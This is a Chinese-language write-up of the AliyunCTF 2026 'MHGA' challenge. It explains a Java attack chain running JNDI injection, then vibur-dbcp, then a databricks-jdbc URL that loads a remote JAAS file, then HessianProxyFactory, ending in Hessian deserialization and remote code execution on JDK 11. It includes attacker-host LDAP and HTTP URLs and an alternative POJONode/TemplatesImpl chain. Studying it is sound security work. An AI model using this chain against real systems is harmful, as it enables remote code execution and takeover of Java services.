AliyunCTF26-MHGA:HessianProxyFactory驱动的JNDI→JDBC→Hessian反序列化链利用分析
字数 5687
更新时间 2026-03-07 10:41:46

AliyunCTF 2026 MHGA 赛题深入分析与利用链教学文档

1. 赛题概况与核心考点

本次分析的赛题为 AliyunCTF 2026 的 MHGA (Make Hessian Great Again),题目核心考察一个复杂的攻击链,其关键依赖与利用路径如下:

  • 主要技术栈:vibur-dbcp (连接池)、databricks-jdbc (JDBC驱动)、Hessian (序列化协议)。
  • 核心攻击路径JNDI注入JDBC攻击Hessian反序列化,最终在JDK 11等高版本环境中实现远程代码执行(RCE)。
  • 利用目标:绕过高版本JDK对JNDI利用的限制。

2. 环境与依赖分析

题目以Assembly打包的JAR文件形式提供,无标准pom.xml。经分析,关键依赖如下:

  • com.caucho:hessian:4.0.66
  • com.databricks:databricks-jdbc:2.6.38
  • org.vibur:vibur-dbcp:26.0
  • com.fasterxml.jackson.core:jackson-core:2.18.3

题目提供一个存在JNDI注入漏洞的Web端点。攻击者需通过精心构造的LDAP/JNDI引用,串联起多个依赖的漏洞点。

3. 关键组件漏洞与利用点剖析

3.1 HessianProxyFactory 工厂类利用

这是串联JNDI与Hessian反序列化的关键桥梁,也是题目名称“MHGA”的由来。

  • 功能定位com.caucho.hessian.client.HessianProxyFactory 实现了 javax.naming.spi.ObjectFactory 接口,可被JNDI引用(Reference)的工厂类(javaFactory)属性调用。
  • 利用流程
    1. JNDI注入点通过InitialContext.lookup加载一个恶意LDAP服务器返回的Reference对象。
    2. Reference对象的factoryClassName被设置为HessianProxyFactory
    3. JVM在实例化该Reference时,会调用HessianProxyFactory.getObjectInstance方法。
    4. 该方法会从Reference中读取typeurl等参数。type参数(对应javax.naming.Reference中的className)会被用作动态代理的目标接口。为了使后续调用成功,此处type必须为javax.naming.directory.DirContext或其子类
    5. url参数指定一个远程Hessian服务端地址。
    6. HessianProxyFactory会为指定的type(接口)创建一个动态代理,代理处理器(InvocationHandler)是HessianProxy
  • 动态代理触发
    • 创建代理本身不会触发远程调用。只有当程序后续调用代理对象的任意方法时,才会触发HessianProxy.invoke
    • invoke方法会向构造时指定的url发起HTTP请求,获取响应流。
    • 它读取响应流的前几个字节进行协议判断(如H表示Hessian2协议)。
    • 接着,会调用Hessian2Input.readObject对返回流的剩余部分进行Hessian反序列化。如果此部分包含恶意序列化数据,则会触发RCE

要点:仅通过JNDI lookup无法完成攻击,因为后续的方法调用未被触发。这需要借助后续的JDBC攻击链来触发代理对象的方法调用。

3.2 vibur-dbcp 连接池 (JNDI → JDBC)

此组件用于从JNDI攻击过渡到JDBC攻击。

  • 作用org.vibur.dbcp.ViburDBCPObjectFactory 同样实现了ObjectFactory接口。它通常用于在JNDI中配置数据库连接池。
  • 利用方式:在恶意LDAP服务器返回的Reference中,将factoryClassName设置为org.vibur.dbcp.ViburDBCPObjectFactory,并在StringRefAddr中传入标准的JDBC连接参数,如driverClassNamejdbcUrlusernamepassword
  • 攻击链位置:它是第一跳。攻击者首先让JNDI注入点加载一个指向ViburDBCPObjectFactoryReference,并设置其jdbcUrl指向一个恶意的databricks JDBC URL,从而将攻击传递到JDBC层。

3.3 databricks-jdbc 驱动 (JDBC → JNDI)

此组件用于从JDBC攻击再次触发JNDI,是触发前述HessianProxy代理方法调用的关键。

  • 漏洞点databricks JDBC驱动支持通过krbJAASFile参数指定一个本地或远程的JAAS配置文件。
  • 攻击流程
    1. vibur-dbcp工厂根据恶意Reference中的参数,尝试使用databricks驱动建立数据库连接。
    2. 连接URL中包含参数:krbJAASFile=http://attacker-server/jaas.conf
    3. JDBC驱动会从攻击者控制的服务器获取并解析这个JAAS配置文件。
    4. 该配置文件可以配置使用com.sun.security.auth.module.JndiLoginModule
    5. JndiLoginModule在认证过程中,会调用new InitialContext().lookup(attacker-controlled-url)这是第二次JNDI注入
    6. 更重要的是lookup返回对象后,会将其强制转换为DirContext并调用其search方法。正是这个search方法调用,触发了第一次JNDI调用中创建的HessianProxy动态代理,从而发起了远程Hessian请求并触发反序列化

3.4 高版本JDK JNDI绕过

自JDK 6u141, 7u131, 8u121起,Oracle默认禁用了JNDI远程类加载。更高版本(如JDK 11)进一步限制了远程工厂类的加载。

  • 题目环境:题目使用的是JDK 11,属于限制较严的环境,不允许直接反序列化远程对象,但允许通过Reference引用本地classpath中已有的工厂类
  • 绕过方法
    • 攻击者不直接在LDAP响应中返回序列化对象。
    • 而是返回一个javax.naming.Reference对象,其factoryClassName指向目标应用classpath中已存在的类(如vibur-dbcphessian的工厂类)。
    • JVM会从本地加载这些工厂类并实例化,从而绕过对远程类加载的限制。
    • 恶意代码逻辑通过工厂类从Reference的属性(RefAddr)中获取,并最终在工厂类实例化过程中被执行。

4. 完整攻击链串联

最终的攻击链是一个循环引用的精巧结构:

  1. 初始注入:攻击者向Web应用的JNDI注入点提交恶意LDAP地址:ldap://attacker-host:1389/Exploit
  2. 第一层LDAP服务器 (LDAP1)
    • 返回一个Reference,其中:
      • factoryClassName: org.vibur.dbcp.ViburDBCPObjectFactory (本地已有类)
      • className: javax.sql.DataSource
      • StringRefAddr包含:
        • driverClassName: com.databricks.client.jdbc.Driver
        • jdbcUrl: jdbc:databricks://...;krbJAASFile=http://attacker-host:8080/jaas.conf (指向一个恶意的JAAS配置文件URL)
  3. JDBC驱动触发
    • ViburDBCPObjectFactory被加载,尝试建立JDBC连接。
    • databricks驱动加载远程jaas.conf
  4. JAAS配置文件
    • 内容配置使用JndiLoginModule,其user.provider.url指向第二个LDAP服务ldap://attacker-host:1388/Trigger
  5. 第二层LDAP服务器 (LDAP2)
    • 返回一个Reference,其中:
      • factoryClassName: com.caucho.hessian.client.HessianProxyFactory (本地已有类)
      • className: javax.naming.directory.DirContext (必须,用于后续search调用)
      • StringRefAddr包含:
        • type: javax.naming.directory.DirContext
        • url: http://attacker-host:8090/hessian (指向攻击者控制的Hessian恶意服务端)
  6. 触发代理调用
    • JndiLoginModulelookup返回的代理对象进行类型转换(DirContext)并调用search方法。
    • 触发HessianProxy.invoke,向url指定的地址发起请求。
  7. 恶意Hessian服务端
    • 返回一个精心构造的Hessian协议响应。响应体前几个字节需符合协议头(如H),后续部分包含能触发Gadget链的恶意Hessian序列化数据。
  8. 最终RCE
    • 客户端的Hessian反序列化逻辑处理响应,触发恶意Gadget链,实现任意代码执行。

5. Hessian 反序列化利用链构造

在最终步骤,需要构造一个能在目标Hessian库中触发的利用链。

  • 链式选择:文中示例使用了Hessian原生的反序列化利用链,涉及UIDefaults.ProxyLazyValue
  • JDK版本适配:在JDK 11中,需使用ProxyLazyValue而非已移除的SwingLazyValue
  • 链式结构:通过嵌套HashMap,利用HashMap.putVal触发Hashtable.equals,进而触发UIDefaults.get,最终执行ProxyLazyValue.createValue中的反射调用。
  • 分步执行:通常需要两个步骤的链子,例如第一个链写入恶意.so或.dll文件到临时目录,第二个链调用System.load加载该库文件。

6. 非预期解分析

除了上述主线解法,还存在一种非预期解,思路不同:

  1. 核心:寻找一个能将toString调用转化为getter方法调用的类,以构建一条不依赖工厂类的原生Java反序列化链。
  2. 关键类com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.POJONode。其toString方法会调用内部POJO对象的getter方法。
  3. 组合利用:将恶意TemplatesImpl对象包裹在POJONode中,再将其作为val设置给BadAttributeValueExpException
  4. 攻击路径JNDI注入JRMP。让恶意的JNDI/LDAP服务返回一个指向JRMP服务端的引用。当客户端反序列化JRMP连接返回的对象时,即触发上述原生反序列化链。

7. 漏洞复现与EXP结构

完整的漏洞利用(EXP)通常包含以下组件:

  1. 恶意LDAP服务器1:响应第一跳,返回指向vibur-dbcpReference
  2. HTTP服务器:提供恶意的JAAS配置文件 (jaas.conf)。
  3. 恶意LDAP服务器2:响应第二跳,返回指向HessianProxyFactoryReference
  4. 恶意Hessian HTTP服务端:监听特定端口,当收到HessianProxy的请求时,返回携带恶意序列化数据的Hessian协议响应。
  5. 攻击启动客户端:向靶场发送包含恶意JNDI地址的请求,触发整个链条。

8. 总结与后记

MHGA赛题是一个综合性极强的Java反序列化攻击案例,它巧妙地将多个独立漏洞串联起来,形成了一条能够在高版本JDK环境下生效的复杂攻击链。学习者应重点掌握:

  1. 攻击链设计思想:理解如何通过JNDI -> JDBC -> JNDI的“迂回”方式,绕过安全限制并触发关键方法调用。
  2. 各组件作用:清楚vibur-dbcpdatabricks-jdbcHessianProxyFactory在链中的具体角色和利用方式。
  3. 高版本绕过:掌握通过Reference引用本地工厂类来绕过JNDI限制的技巧。
  4. 协议与构造:了解Hessian协议的基本格式以及如何构造有效的恶意响应。

(以上分析基于链接提供的技术文章内容。关于Hessian协议具体细节、ProxyLazyValue链的完整构造代码、以及databricks-jdbc驱动JndiLoginModule触发的更深层原理,文档未做完全展开,读者可依据文中提供的参考链接进行延伸学习。)

相似文章
相似文章
 全屏